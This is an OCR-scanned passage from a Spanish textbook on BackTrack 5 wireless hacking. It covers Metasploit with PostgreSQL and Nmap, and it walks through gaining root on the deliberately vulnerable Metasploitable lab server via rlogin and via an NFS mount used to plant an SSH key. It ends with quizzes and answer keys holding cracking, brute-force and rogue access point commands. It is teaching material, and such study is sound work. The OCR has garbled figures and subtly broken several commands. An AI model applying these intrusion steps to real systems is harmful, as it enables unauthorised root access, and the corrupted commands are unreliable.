versiones, nada tiene que envidiarle a otras bases de datos comerciales.
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A.3.2.1 POSTGRESQL EN BACKTRACK 5

Una vez conectado a Internet, escriba en un terminal la instruccion ya
conocida:

# apt-get install postgresgl

Lea las instrucciones de pantalla y pulse Y para continuar. Espere hasta que
la instalacion finalice (Figura A .22).

* PostgreSQL

i postgresql-client-c

ve and 136 not upgraded

Figura A.22. Instalacion del SGBD PostgreSQL

Cuando la instalacion haya finalizado, le mostrard algo similar a lo siguiente:

* Starting PostgreSQL 8.4 database server [ OK ]
Setting up postgresgl (8.4.12-0ubuntul0.04)

Para verificar si la instalacion fue satisfactoria, acceda a la linea de comandos
del servidor de bases de datos escribiendo:

# sudo su postgres -c psqgl

Una vez que vea la linea de comandos postgres=#, ya estara listo para
trabajar. Ahora necesitara modificar la contrasefia del usuario por defecto:
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postgres=# ALTER USER postgres WITH PASSWORD ‘su contrasefia’;

Para salir de la consola, teclee \q (Figura A.23).

* PostgreSQL

0 25=# ALTER USER postgres WITH PASSWORD 'contrasefa’;
TER ROLE
postgres=# \(

Figura A.23. Cambio de contrasefia del usuario por defecto en PostgreSQL

A.3.2.2 CONECTIVIDAD CON METASPLOIT
Para comprobar si la conectividad entre PostgreSQL y Metasploit es la
adecuada, cargue la consola de este ultimo (msfconsole)y en su linea de comandos

escriba:

msf> db connect postgres:contrasefia@l27.0.0.1/prueba

msf> db status

De este modo, el usuario postgres ha creado una base de datos llamada
prueba a la que PostgreSQL se debe conectar con éxito (Figura A.24).

nait Heip

sql connected to prueba

Figura A.24. Conexidn satisfactoria con la base de datos creada
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A.3.3 Metasploit y Nmap

Veamos ahora como hacer funcionar Metasploit, PostgreSQL y Nmap de
forma conjunta para analizar nuestra propia maquina de 1P 192.168.33.36.

Una vez en Metasploit y conectado a la base de datos que acabamos de crear,
escriba:

msf> db nmap —n0O -sTU —pT:22,80,111,443,0:111,137 192.168.
33.36

El resultado es ya algo bastante habitual para nosotros, pero con el valor
anadido de que acabamos de adjuntarlo a nuestra base de datos para futuras
referencias (Figura A.25).

nmap -n0D
: Starting Na .5 http: p.org ) at 2012-12-13 16:24 CET
: Nmap scan report for 192.168.33.36
: Host is up (0.000066s latency).
SERVICE
ssh
Nmap: 80/tc closed http
] Nmap: /tc 0 rpcbind
https
rpcbind
netbios-ns
s match this host to give specific 05 details

Nmap results at http://
nmap.org mit/ .
[ Nmap: Nmap done: 1 IP address (1 host up) scanned in 2.11 seconds
nsf >

Figura A.25. Mapeo de puertos con Nmap en Metasploit

Si ejecuta ahora el comando hosts, vera como su maquina se ha anadido a
la base de datos creada (Figura A.26).



© RA-MA

* Metasploit & Nmap
Termina

File Edit

jmsf > hosts

192.168.33.36 Unknown

msf >
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)ose comments

info

Figura A.26. Equipos presentes en |a base de datos generada

Ahora que los datos se encuentran en la base, las consultas, sobre todo en
grandes sistemas, se hacen realmente sencillas. Por ejemplo, si quisiera saber el
estado del puerto 80 en todas las maquinas, bastaria con escribir:

msf> services -p 80

Lo que daria un listado como el mostrado en la figura A 27.

< root@bt:

msf >

services -p 86

port

192.168.33.33 80
192.168.33.34 860
192.168.33.37 80

name

http
http
http

state

closed
filtered
closed

info

Figura A.27. Estado del puerto 80 en tres maquinas
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A.3.4 Modulos auxiliares

Metasploit contiene una buena cantidad de modulos auxiliares que le
permitiran obtener cierta informacion de su posible objetivo. Se diferencian de los
exploits en que solo se emplean para la recoleccion de informacion en los sistemas
informaticos. Se usan, por tanto, como fase previa a cualquier ataque posterior.

Para mostrar los modulos auxiliares de Metasploit, escriba en un terminal:

msf> show auxiliary

Metasploit nos responderd con un listado de todos los modulos (Figura
A.28).

¥ root@bt: ~

Figura A.28. Resumen de los mddulos auxiliares presentes en Metasploit

Veamos como usar uno de estos modulos para analizar como se encuentran
los primeros 1.024 puertos de un ordenador dado:

msf > use auxiliary/scanner/portscan/tcp

Cada modulo posee un conjunto especifico de opciones, que puede ver por
pantalla con la opcion show options (Figura A.29).
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* Opciones Modulo Auxiliar

{auxiliary/scanner/portscan/tc pl

Current Setting Required Description

The number of concurren

RHOSTS
THREADS
TIMEQUT

Figura A.29. Opciones del modulo TCP portscan

Elija ahora la maquina y el conjunto de puertos que desea analizar:

msf auxiliary(tecp) > set RHOSTS 192.168.33.33

msf auxiliary(tcp) > set PORTS 1-1024

Por ultimo, ejecute el modulo con run (Figura A.30).

x Escaner TCP

msf auxiliary( > set RHOSTS 192.168.33.33
RHOSTS => 1 68.33.33

msf auxiliary( ) > set PORTS 1-1024

POR => 1024

msf auxiliary( > run

192.168.33.33:2 TCP OPEN

Scanned 1 of 1 hosts (188% complete)

Auxiliary module execution completed
msf auxiliaryl ) >

Figura A.30. Resultado de la ejecucion del modulo portscan
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A.3.5 Aprendizaje

Metasploit es una herramienta tan poderosa que la inica forma de dominarla
es usarla tan a menudo como se pueda. Logicamente, practicar con un sistema muy
robusto no es la mejor manera de comenzar a aprender. Este es el motivo por el que
Rapid7, la empresa propietaria de Metasploit, ha colgado la imagen de una maquina
virtual basada en Ubuntu Linux con una gran cantidad de agujeros de seguridad.

Puede descargar la imagen metasploitable del servidor Linux en hitp.//
davidarboledas.es/bt/msf.php. Las credenciales por defecto del sistema operativo
son msfadmin para el usuario y contrasefia.

La imagen virtual que descarga es compatible con VMWare y VirtualBox.
Evidentemente, dada la cantidad de vulnerabilidades intencionadas que presenta,
nunca deberd instalarse como sistema de uso habitual, solo como servidor de pruebas.

Para instalar la maquina en VirtualBox, una vez descargada, siga estos pasos:
1. Descomprima el archivo metasploitable-linux-2.0.0.zip.

2. Ejecute VirtualBox y cree una nueva maquina Ubuntu con el nombre que
desee.

3. Cuando el asistente le pida que agregue una unidad de disco, seleccione
la opcion Usar un archivo de disco duro virtual existente y elija el
fichero metasploitable.vmdk (Figura A 31).

E Seleccione un srchivo de urvdad de dico duro sl

i % [ = DATOS(E) » Metasploaabled Linx w | 0p I Buscor Metassinmobie? Livun

Oreganizar = Nutvs corpete =~ 5 ®
s Dropbos = Nombre Feche de modifica..  Tipo

W Mewsplomablesmdt 141200021200 el Machune DabhFo. L

@ Crear maquina virtual

- - a Bibhotecss
Unidad de disco duro = |

- Imagenies
Si desea puede agregar una unidad o} Minica

ammmaamdeuﬂadmﬂ H Videos 9
ubicacidn usando & icono de ia

» Si necesita una configuracidn de aln}
paso y hacer los cambios a la configu i

£l tamafio recomendado de la unidad]| 8 Dscoleali©) - = J ,
) No agragar un disco duro virtual Hombe: Maniplosaiia vk = {Todos os et de ind |
) Crear un disco duro virtual shora (o ] (oot ]
@ Usar un archivo de disco duro virtual existente

Metaspioitable. vmdk (Normal, 8,00 GB) @

o Grupo en ¢i hogar |

[ cew || concea |

Figura A.31. Eleccidn del archivo de disco virtual para el servidor
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4. Asegurese de habilitar en el meni Configuracion las caracteristicas
extendidas PAE/NX en la pestafia Procesador de la ficha Sistema
(Figura A.32). En caso contrario, el servidor no arrancara.

Figura A.32. Habilitacion de las caracteristicas extendidas del procesador

5. Finalmente, configure la red del servidor para que pueda usarla en las
pruebas con Metasploit, tal y como observa en la figura siguiente:

Figura A.33. Configuracion de la red en modo promiscuo

6. Acepte los cambios y arranque la maquina.
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Una vez que el sistema operativo haya cargado, autentiquese en el servidor
con las credenciales msfadmin tanto para el usuario como para la contrasefia, como
dijimos al principio de este epigrafe. En cuanto le aparezca la linea de comandos,
msfadmin@metasploitable:-$, ejecute i fconfig para conocer cual es la [P asignada
al servidor (Figura A 34).

official Ubuntu docunmentation please wi
p:7szhelp.ubuntu.con

0 mail

nslfadminPnetasploitable:”™S ifconfig

i LhO Link e ap ELk et Hiladdr 0B:00:27:fd :d"
inet addr:192 a6 .101 Bras Z.168 .5
iNEth | A00TZ fefd:d99e¢-64 Scope:Li
LIF AST NNING Rl AST ATU: 1500 Metric
RX ; )¢ Eerror 0 d ed 10 overruns (0 frane
TX packet ] rrors:0 d :d ;0 overruns:0 carr
I\II | 1IS1ons .o '|l|LF'|||'lr n
RX bytes:11639 (11.3 KB)
Base address:t

Link encap:l
inet addr:1:

inetbh 1 x 3 3 ope
ufF LO MIU:16436
RX pa [ 2rrors !0 dropped :(

TX v.uir-i :10 s =0 .i‘-w“u-‘l,.l overruns
collisions:8 tx e n:o
RX bytes:23757 (23 KB) TX byt 23757

nsfadninPnetasploitable: ™5

Figura A.34. Direccion IP asignada al servidor de pruebas

Anote a continuacidn, en el siguiente recuadro, la direccion de Internet
asignada a su servidor metasploitable:

1P

7

Ahora ya estd en condiciones de identificar las primeras vulnerabilidades
del servidor desde BackTrack. Lo primero, hallar los servicios abiertos con Nmap.
Escriba en un terminal nmap -p 0-65535 192.168.56.101 (Figura A.35).

Los puertos 512/tep, 513/tcp y S14/tcp se conocen como servicios r: exec,
login y shell, respectivamente. Han sido configurados erroneamente en el servidor
para permitir el acceso remoto desde cualquier maquina. Para aprovechamos de
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ello, asegurese de que el cliente rsh-client se encuentre instalado en BackTrack. A
continuacion, como necesitamos tener ejecutandose SSH y por defecto BackTrack
lo tiene desactivado, escriba:

# sshd-generate /etc/init.d/ssh start

De este modo, el servicio se activard generando previamente una llave RSA.
Si desea arrancar SSH junto con BackTrack cada vez que arranque el sistema, escriba
a continuacion:

# update-rc.d -f ssh defaults

* root@bt: ~

655086
ATE

-ftp
D:D9:9E (Cadmus Computer Systems)

1 IP address (1 host up) sca

= |

Figura A.35. Listado resumido de los servicios abiertos en el servidor

Ejecute ahora el siguiente comando como superusuario local:

# rlogin -1 root 192.168.33.36
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Como observa en la figura siguiente, hemos conseguido acceder al servidor
remoto sin conocer sus credenciales:

* root@metasploitable: -

Figura A.36. Acceso al servidor remoto como superusuario

El siguiente servicio que vamos a buscar es el sistema de archivos de red
(NFS), que permite a los hosts remotos montar sistemas de archivos sobre la red e
interactuar con esos sistemas como si estuvieran montados localmente. El servicio
puede identificarse directamente probando cudl es el estado del puerto 2049/tep, que
como ve en la figura A 35, se encuentra abierto. También puede identificarlo a través
del comando rpcinfoy exportar el directorio raiz (/) con showmount (Figura A.37).

“ root@bt: ~

Figura A.37. Listado de todos los servicios registrados en el servidor
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NOTA

? Asegurese de tener instalados los servicios rpcbind y nfs-common antes
de continuar.

Acceder a una maquina con un sistema de archivos exportable como el que
muestra la figura A.37 es trivial, pues solo se necesitan tres sencillos pasos:

1. En primer lugar, genere una nueva llave SSH en el sistema atacante con
el comando ssh-keygen (Figura A.38).

Figura A.38. Generacion de llaves RSA para autenticacion SSH

2. Ahora monte el sistema de archivos NFS en un directorio temporal para
afadir la clave SSH generada al archivo authorized keys de la cuenta del
superusuario (Figura A 39).

% Anadir SSH
File Edit Vi E

- dir /tmp/reet

:~# mount -t nfs 192.168.33.36:/ /tmp/reet/

:~# cat ~/.ssh/id rsa.pub >> /tmp/re@@t/root/.ssh/authorized keys
:~# umount /tmp/reet/
=

Figura A.39. Adicion de la clave al archivo authorized_keys
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3. En este momento, ya puede acceder al servidor remoto sin necesidad de
conocer las credenciales. Basta con escribir ssh root@192.168.33.36
y lograra acceso como usuario roof en la maquina remota (Figura A 40).

known hosts

JTC 2608 1686

Figura A.40. Acceso coma usuario root en el servidor remoto

Ademas de estas dos graves vulnerabilidades, en el servidor se han dado de alta
usuarios y servicios con contrasefias muy débiles, de modo que bien sea capturando
el dichero /etc/passwd, o bien mediante la enumeracion de los identificadores de
usuario con Samba, podemos efectuar un ataque por fuerza bruta para acceder
rapidamente a varias cuentas y servicios, como PostgreSQL. Le dejamos como reto
personal descubrir dichas credenciales.

A.4 AUTOEVALUACION 12

W ;Cuéantas direcciones IP puede explorar NeXpose en busca de
vulnerabilidades?

a) 8.

b) 16.
c) 32.
d) 128.

¥ Una de las siguientes herramientas no es un escaner de vulnerabilidades:

a) OpenVAS.
b) Nmap.
¢) Nessus.
d) NeXpose.
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W Cuantos estados puede reconocer Nmap al mapear los puertos?

a) 4.
b) 6.
c) 8.
d) Solo dos: abierto o cerrado.

(Cudl es el mayor inconveniente de efectuar un andlisis UDP completo
en un ordenador?

a) Que hay muchos modos de efectuar el analisis.

b) Que la opcion —sU solo permite analizar 1.024 puertos.
¢) Que no se puede hacer un analisis UDP, solo TCP.

d) El tiempo, pues podria llevar més de 18 horas.

{Qué hace nmap —-sN -p 80 192.168.33.33 -oX 80.xml?

a) Un escaneo TCP NULL del puerto 80 con salida externa a un fichero
xml.

b) Un analisis TCP de todas las maquinas de la red.

¢) Un escaneo del puerto 80/udp con salida a un fichero xhtml.

d) Dara error, pues no reconocera la opcion -0X.

(Cudl es el lenguaje de programacién en el que actualmente se escribe
Metasploit Framework?

a) Lua.
b) Ruby.
c) Eiffel.
d) Perl

(Con qué nstruccion se ejecutan los modulos auxiliares de Metasploit?

a) exec.
b) set.

¢) thread.
d) run.

. Que son los servicios » en Unix?

a) Aquellos que corren en los puertos 513/tcp y 513/udp.

b) Son login, usado por rlogin; shell, empleado por rcp, y exec,
utilizado por rsh.

¢) Son https, ssh y netbios.

d) No existe esa nomenclatura.
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W (A través de qué puerto se producen las comunicaciones con el protocolo
NFS?

a) 111/udp.
b) 2049/tcp.
c¢) 23/tcp.

d) 8080/udp.



RESPUESTAS DE AUTOEVALUACION

CAPITULO 1. HACKERS Y SEGURIDAD

................................................................................................................................................................................

1. b) Disponibilidad, confidencialidad, no repudio e integridad.

2. No puede afirmarse, pues la definicién de seguridad, entendida como
la capacidad de asegurar su buen funcionamiento, precaviendo que el
sistema falle, se frustre o se violente es imposible de lograr con certeza
matematica. No hay mayor inseguridad que una falsa sensacion de
seguridad.

3. a) Integridad.

4. c) Intercepcion.

5. d) Sniffing

6. d) White Hat.

7. d) Todos ellos son necesarios.
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CAPITULO 2. EL CAMPO DE PRUEBAS

1. Latarjeta inalambrica debe estar soportada por el software y tiene que ser
capaz de inyectar y detectar paquetes.

2. startx.

3. Si, lainstalacion en disco se recomienda para obtener una mayor velocidad
en los procesos y si se desea conservar guiones, configuraciones y/o
nuevas herramientas.

4. En primer lugar escribimos en el terminal el comando iwconfig para
ver s1 existe alguna interfaz inaldmbrica, normalmente wlan0. Después
tecleamos ifconfig wlan0 y vemos si aparece el atributo UP. Si es asi,
podemos empezar a trabajar con BackTrack.

5. El primer comando, route -n, permite obtener la tabla de enrutamiento
en formato numérico, con lo que podemos, entre otras cosas, ver
la direccion IP del punto de acceso. El siguiente, arp -a, muestra y
modifica entradas en la caché del protocolo de resolucion de direcciones
(ARP), que contiene una o varias tablas utilizadas para almacenar las
direcciones IP y sus direcciones fisicas (MAC) resueltas.

CAPITULO 3. DEBILIDADES EN LAS REDES WI-FI

1. Tramas de gestion.
2. airmon-ng start wlan0

3. (wlan.bssid ==00:23:34:2f:1b:41) && ! (wlan.fc.type
subtype == 0x08)

4. airodump-ng --bssid 00:23:34:2f:1b:41 mon0
5. iwconfig mon0O channel 12

6. ¢) aireplay-ng
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CAPITULO 4. VULNERABILIDAD EN LA AUTENTICACION

. Mediante el envio de paquetes de desautenticacion.
. airodump-ng -¢ 9 -a --bssid 00:00:23:2b:4c:dd monO0.
. Con el comando macchanger -m tras haber detenido la interfaz de red.

. Escribiriamos en una consola airodump-ng mon0  --bssid

00:00:23:2b:4c:dd -w paquetes.

. Mediante la obtencion de la keystream a partir de los paquetes

intercambiados entre el PA y sus clientes inalambricos.

CAPITULO 5. DEBILIDADES EN EL CIFRADO

. Si, no importa lo compleja que sea la clave empleada, aircrack-ng siempre

terminara descifrando la contrasena.

. Un ataque chop-chop o uno por fragmentacion.

. Las dos mejoras mas significativas son las implementaciones del

protocolo de integridad de la clave temporal (TKIP), y del codigo de
integridad del mensaje (MIC).

. Un ataque por diccionario prueba todas las posibles claves recogidas

en el mismo. Su espacio de claves es limitado, por tanto, mientras que
un ataque por fuerza bruta prueba todas las posibles claves, el espacio
completo de claves, lo que hace del tiempo de computacion el factor
limitante.

. Los protocolos WPA/WPA2-PSK son vulnerables a ataques por

diccionario, pues ambos emplean el protocolo TKIP, vulnerable a la
recuperacion del codigo pseudoaleatorio que produce los criptogramas.
El tnico requisito previo es tener acceso a la negociacioén en cuatro pasos
que se da entre el cliente inalambrico y el punto de acceso.

. Es un software libre que de forma nativa implementa BackTrack y que

puede realizar ataques de diccionario o por fuerza bruta.
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7. Pyrit.

8. Desde luego, no, salvo que la contrasefia utilizada se encuentre en alguno
de los diccionarios que empleemos en el ataque. Si la victima emplea
algunas de las aplicaciones para generar contrasefias WPA/WPA2-PSK
aleatorias de 504 bits, los ataques por diccionario o fuerza bruta quedan
fuera del tiempo de computo.

9. La ventaja fundamental es que es capaz de automatizar todos los ataques

para obtener las claves WEP o WPA/WPA2-PSK.

CAPITULO 6. ATAQUES CONTRA LA INFRAESTRUCTURA

............................... DL T T e ST TR

1. Escribiendo en un terminal hydra -1 mjoregon -p asy4D2#
unimg.es ftp.

2. Los ataques de desautenticacion tienen por objetivo conseguir la salida
de la red de uno o varios clientes legitimos para lograr que aquella quede
inutilizada o bien para que los clientes vuelvan a autenticarse y poder
lanzar asi algin ataque posterior.

3. Mediante el comando airbase-ng --essid “Wi-Fi gratis” -c
9 monO.

4. Generalmente no emplean ninguno, suelen estar abiertos.

5. Emplear conexiones seguras https para enviar cualquier dato confidencial,
como credenciales de correo electronico, comunidades virtuales, etc.

CAPITULO 7. OFENSIVAS CONTRA EL CLIENTE

1. b) Permite obtener las claves de red WEP almacenadas en un cliente.
2. ¢)-L.

3. b) En un ataque WEP, combinacién de los ataques por fragmentacion y
caffe latte.

4. b)-N.
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5. a) Falso, solo las podremos obtener si recuperamos correctamente el
handshake y la frase de paso se encuentra en el diccionario empleado.

b) Falso, porque aunque es cierto que es un mecanismo de autenticacion
mutua, no necesitamos acceder a los cuatro pasos de la misma. En el
momento en que el cliente envia un paquete de desautenticacion al
fallar la misma, ya hemos obtenido acceso a los dos primeros pasos;
suficientes para obtener el handshake.

¢) Verdadero.

d) Siempre que no vayamos a usarlo, si, luego es verdadera.

CAPITULO 8. ATAQUES AVANZADOS

1. a) El atacante.
2. c)ARP.
3. b) nmap —sP 192.168.1.0/24.

4. b) En falsear las entradas nombre de dominio-IP.

CAPITULO 9. INGENIERIA SOCIAL

1. Aunque los pasos para obtener informacion de la victima pueden ser muy
variables, en general, todos ellos convergen en los mismos: identificacion
de la victima, reconocimiento, creacion del escenario y ejecucion
del ataque; este ultimo cuando ya se han obtenido los datos necesarios
para construir un escenario creible en el que participen la victima y el
ingeniero social.

2. d) Desde el menti de SET o desde un terminal con ./set-update.
3. b) sessions.

4. d) Con todas ellas.
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CAPITULO 10. ATAQUES CONTRA WPA-ENTERPRISE

1. ¢) 1812 UDP.

2. b) eap.conf.

3. d) PSK-TKIP.

4. a) EAP-TLS.

5. b) Con un certificado falso.

6. ¢) Certificados en el lado del servidor.

7. ¢) Ambas son correctas, ay b.

CAPITULO 11. METODOLOGIA. CASO PRACTICO

1. b) Caja blanca.

2. d) 5 capitulos.

3. b) Descubrimiento.
4. c¢) Planificacion.

5. En primer lugar, cambiar inmediatamente la clave WPA-PSK por defecto
y emplear una aleatoria de 63 caracteres altanuméricos. Asi mismo,
recomendaria el cambio mensual de la misma. Por otro lado, haria lo
propio con la clave del panel de control del punto de acceso, eligiendo una
contrasefia de al menos 9 caracteres alfanuméricos. Ademads, aconsejaria
cambiar el nombre SSID de la red, desactivar el servidor DHCP y habilitar
un filtro por direcciones MAC para los cuatro ordenadores de sobremesa
y el portatil.
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ANEXO A. HERRAMIENTAS ADICIONALES

1. ¢)32.

2. b) Nmap.

3. b)6.

4. d) El tiempo, pues podria llevar més de 18 horas.

5. a) Un escaneo TCP NULL del puerto 80 con salida externa a un fichero
XML.

6. b) Ruby.
7. d) run.

8. b) Son login, usado por rlogin; shell, empleado por rcp; y exec,
utilizado por rsh. ;Qué son los servicios r en Unix?

9. b) 2049/tcp.
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BackTrack 5

Hacking de redes inalambricas

Desde hace un tiempo, la seguridad en las comunicaciones, en general,
y en las inalambricas, en particular, se ha convertido en un tema de
continua actualidad y es un elemento crucial que cualquier administrador
de red debe asumir como objetivo principal.

En este libro, su autor (docente e investigador) explica cuidadosamente
el abecé de las redes inalambricas desde un punto de vista totalmente
practico, con cientos de ejemplos reales.

La obra le brindara la oportunidad de ponerse en la piel de un hackery
experimentar los métodos que usaria para romper la confidencialidad de
sus comunicaciones, todo ello en un entorno completamente controlado.
De este modo, podra estar preparado para afrontar cualquier intento de
intrusién en su red Wi-Fi.

BackTrack 5. Hacking de redes inalambricas se perfila como un libro
esencial en la biblioteca del consultor o administrador de redes. Como
experto, o entusiasta, le guiara paso a paso por los diferentes modos
para atacar y defenderse de las ofensivas que pudieran lanzarse contra
cualquier elemento de la infraestructura de red.

Se incluyen, asi mismo, las principales referencias a las que el lector
podra acudir para ampliar los conceptos tratados en la obra.
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